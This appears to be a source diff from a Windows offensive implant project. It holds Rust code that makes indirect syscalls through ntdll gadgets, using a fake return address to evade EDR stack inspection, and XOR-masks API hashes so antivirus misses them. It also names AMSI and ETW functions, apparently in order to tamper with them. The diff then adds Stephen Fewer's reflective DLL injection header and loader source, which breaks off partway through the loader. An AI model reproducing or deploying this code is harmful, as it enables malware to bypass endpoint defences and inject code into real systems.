//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
|
||||
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
|
||||
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
|
||||
//! its `ret` at +10 — the privileged instruction executes from ntdll's
|
||||
//! text section, never from ours.
|
||||
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
|
||||
//! address visible on the stack during the syscall points INTO ntdll;
|
||||
//! a second `ret` gadget there hands control back to our continuation.
|
||||
//! 4. Falls back to a direct in-place syscall only if every candidate stub
|
||||
//! is hooked (in which case we are already detected anyway).
|
||||
//!
|
||||
//! Per-build variance: which stub hosts the gadgets is selected by
|
||||
//! `gen::SYSCALL_TRAMP`.
|
||||
|
||||
#![allow(unused_assignments)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::antihook;
|
||||
use crate::gen;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
|
||||
// Verified against apires::hash_ascii / hash_wide.
|
||||
//
|
||||
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
|
||||
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
|
||||
// tables). `r()` unmasks them at runtime.
|
||||
// ---------------------------------------------------------------------------
|
||||
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
|
||||
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
|
||||
/// elsewhere.
|
||||
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
/// Unmask a stored (scrambled) API hash.
|
||||
///
|
||||
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
|
||||
/// raw value at compile time — the recovery happens at runtime, so the real
|
||||
/// API-hash constant never appears in the binary.
|
||||
#[inline(always)]
|
||||
pub fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
|
||||
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
|
||||
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
|
||||
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
|
||||
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
|
||||
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
|
||||
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
|
||||
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
|
||||
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
|
||||
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
|
||||
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
|
||||
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
|
||||
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
|
||||
|
||||
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
|
||||
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
|
||||
|
||||
/// Syscall numbers resolved at runtime from ntdll stubs.
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct SyscallNumbers {
|
||||
pub nt_protect_virtual_memory: u16,
|
||||
pub nt_query_virtual_memory: u16,
|
||||
pub nt_allocate_virtual_memory: u16,
|
||||
pub nt_free_virtual_memory: u16,
|
||||
pub nt_create_thread_ex: u16,
|
||||
pub nt_query_information_process: u16,
|
||||
pub nt_set_information_process: u16,
|
||||
pub nt_query_system_information: u16,
|
||||
pub nt_read_virtual_memory: u16,
|
||||
pub nt_write_virtual_memory: u16,
|
||||
pub ldr_load_dll: u16,
|
||||
pub nt_delay_execution: u16,
|
||||
}
|
||||
|
||||
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
|
||||
nt_protect_virtual_memory: 0,
|
||||
nt_query_virtual_memory: 0,
|
||||
nt_allocate_virtual_memory: 0,
|
||||
nt_free_virtual_memory: 0,
|
||||
nt_create_thread_ex: 0,
|
||||
nt_query_information_process: 0,
|
||||
nt_set_information_process: 0,
|
||||
nt_query_system_information: 0,
|
||||
nt_read_virtual_memory: 0,
|
||||
nt_write_virtual_memory: 0,
|
||||
ldr_load_dll: 0,
|
||||
nt_delay_execution: 0,
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Gadget discovery
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A clean ntdll stub yields two gadget addresses:
|
||||
/// syscall_gadget = stub + 8 (`0F 05`)
|
||||
/// ret_gadget = stub + 10 (`C3`)
|
||||
#[derive(Clone, Copy)]
|
||||
struct Gadgets {
|
||||
syscall_gadget: usize,
|
||||
ret_gadget: usize,
|
||||
}
|
||||
|
||||
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
|
||||
|
||||
/// Extract the service number embedded in an ntdll stub.
|
||||
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
|
||||
let mut buf = [0u8; 12];
|
||||
antihook::read_bytes_pub(addr, &mut buf);
|
||||
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
|
||||
Some(u16::from_le_bytes([buf[4], buf[5]]))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
|
||||
fn stub_candidates() -> [u32; 5] {
|
||||
let base = [
|
||||
r(HASH_NTDELAY_EXECUTION),
|
||||
r(HASH_NTQUERY_SYSTEM_INFORMATION),
|
||||
r(HASH_NTWRITE_VIRTUAL_MEMORY),
|
||||
r(HASH_NTQUERY_INFORMATION_PROCESS),
|
||||
r(HASH_NTREAD_VIRTUAL_MEMORY),
|
||||
];
|
||||
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
|
||||
let mut out = [0u32; 5];
|
||||
for i in 0..base.len() {
|
||||
out[i] = base[(i + rot) % base.len()];
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
|
||||
pub unsafe fn init_syscall_numbers() {
|
||||
let ntdll = crate::apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
macro_rules! resolve_num {
|
||||
($hash:expr, $field:ident) => {
|
||||
if let Some(addr) = antihook::resolve_export(r($hash)) {
|
||||
if let Some(n) = stub_syscall_number(addr) {
|
||||
SYSCALL_NUMS.$field = n;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
|
||||
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
|
||||
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
|
||||
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
|
||||
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
|
||||
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
|
||||
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
|
||||
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
|
||||
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
|
||||
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
|
||||
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
|
||||
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
|
||||
|
||||
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
|
||||
for &hash in stub_candidates().iter() {
|
||||
if let Some(addr) = antihook::resolve_export(hash) {
|
||||
if addr != 0 && !antihook::is_address_hooked(addr) {
|
||||
let mut probe = [0u8; 12];
|
||||
antihook::read_bytes_pub(addr, &mut probe);
|
||||
// mov r10,rcx | mov eax,imm32 | syscall | ret
|
||||
if probe[0] == 0x4C
|
||||
&& probe[1] == 0x8B
|
||||
&& probe[2] == 0xD1
|
||||
&& probe[3] == 0xB8
|
||||
&& probe[8] == 0x0F
|
||||
&& probe[9] == 0x05
|
||||
&& probe[10] == 0xC3
|
||||
{
|
||||
GADGETS = Gadgets {
|
||||
syscall_gadget: addr + 8,
|
||||
ret_gadget: addr + 10,
|
||||
};
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
|
||||
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
|
||||
&& SYSCALL_NUMS.nt_delay_execution == 0
|
||||
{
|
||||
init_syscall_numbers();
|
||||
}
|
||||
&SYSCALL_NUMS
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn gadgets() -> (usize, usize) {
|
||||
let g = core::ptr::addr_of!(GADGETS).read();
|
||||
(g.syscall_gadget, g.ret_gadget)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
|
||||
//
|
||||
// Register plan (ABI-safe, Windows x64):
|
||||
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
|
||||
// rdi : syscall gadget address (callee-saved => read-only use)
|
||||
// rsi : ret gadget address (callee-saved => read-only use)
|
||||
// r12 : syscall number (callee-saved => read-only use)
|
||||
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
|
||||
// r11 : internal scratch (volatile, kernel-clobbered anyway)
|
||||
// eax : NTSTATUS out
|
||||
//
|
||||
// Rust forbids referencing explicit-register operands in asm templates, so
|
||||
// every value enters through a fixed callee-saved register hardcoded in the
|
||||
// template text. LLVM keeps those values alive until the block consumes them.
|
||||
//
|
||||
// Stack contract at `jmp rdi` (syscall gadget):
|
||||
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
|
||||
// [rsp+8] = real continuation label
|
||||
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
|
||||
// that `ret` pops our continuation. Stack ends balanced.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// 4-arg indirect syscall.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
|
||||
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
|
||||
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect6(
|
||||
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
|
||||
) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x30",
|
||||
"mov [rsp+0x28], r13",
|
||||
"mov [rsp+0x30], r14",
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
"add rsp, 0x30",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num, in("r13") a5, in("r14") a6,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x28",
|
||||
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
|
||||
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
"add rsp, 0x28",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
in("r13") a5,
|
||||
in("r14") a6,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
|
||||
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
|
||||
/// kernel-required [rsp+0x28] at syscall time.
|
||||
#[inline]
|
||||
pub unsafe fn sys_indirect5(
|
||||
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
|
||||
) -> i32 {
|
||||
let (sg, rg) = gadgets();
|
||||
if sg == 0 {
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x28",
|
||||
"mov [rsp+0x28], r13",
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"syscall",
|
||||
"add rsp, 0x28",
|
||||
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
||||
in("r12") num, in("r13") a5,
|
||||
lateout("rax") status,
|
||||
options(nostack),
|
||||
);
|
||||
return status;
|
||||
}
|
||||
let status: i32;
|
||||
asm!(
|
||||
"sub rsp, 0x18",
|
||||
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
|
||||
"mov r10, rcx",
|
||||
"mov eax, r12d",
|
||||
"lea rcx, [rip+2f]",
|
||||
"push rcx",
|
||||
"mov r11, rsi",
|
||||
"push r11",
|
||||
"jmp rdi",
|
||||
"2:",
|
||||
"add rsp, 0x18",
|
||||
in("rcx") a1,
|
||||
in("rdx") a2,
|
||||
in("r8") a3,
|
||||
in("r9") a4,
|
||||
in("rdi") sg,
|
||||
in("rsi") rg,
|
||||
in("r12") num,
|
||||
in("r13") a5,
|
||||
lateout("rax") status,
|
||||
out("r11") _,
|
||||
);
|
||||
status
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Typed public wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[inline]
|
||||
fn current_process() -> usize {
|
||||
usize::MAX // (HANDLE)-1 pseudo-handle
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_protect_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
region_size: *mut usize,
|
||||
new_protect: u32,
|
||||
old_protect: *mut u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
|
||||
new_protect as usize, 0, old_protect as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_allocate_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
zero_bits: usize,
|
||||
region_size: *mut usize,
|
||||
allocation_type: u32,
|
||||
protect: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
|
||||
region_size as usize, allocation_type as usize, protect as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_free_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *mut *mut c_void,
|
||||
region_size: *mut usize,
|
||||
free_type: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_information_process(
|
||||
process_handle: usize,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: u32,
|
||||
return_len: *mut u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_information_process as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect5(num, process_handle, info_class as usize, info as usize,
|
||||
info_len as usize, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_set_information_process(
|
||||
process_handle: usize,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: u32,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_set_information_process as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_system_information(
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: usize,
|
||||
return_len: *mut usize,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_system_information as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_query_virtual_memory(
|
||||
process_handle: usize,
|
||||
base_address: *const c_void,
|
||||
info_class: u32,
|
||||
info: *mut c_void,
|
||||
info_len: usize,
|
||||
return_len: *mut usize,
|
||||
) -> i32 {
|
||||
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
|
||||
info as usize, info_len, return_len as usize)
|
||||
}
|
||||
|
||||
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
|
||||
let num = get_syscall_numbers().nt_delay_execution as u32;
|
||||
if num == 0 { return -1; }
|
||||
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
|
||||
}
|
||||
|
||||
/// Current-process pseudo-handle helper for external users.
|
||||
pub fn cur_process() -> usize {
|
||||
current_process()
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,516 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||
LPVOID g_lpReflectiveParameter = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define RDI_NOINLINE __declspec(noinline)
|
||||
#else
|
||||
#define RDI_NOINLINE __attribute__((noinline))
|
||||
#endif
|
||||
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
RDI_NOINLINE ULONG_PTR caller(VOID)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
|
||||
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
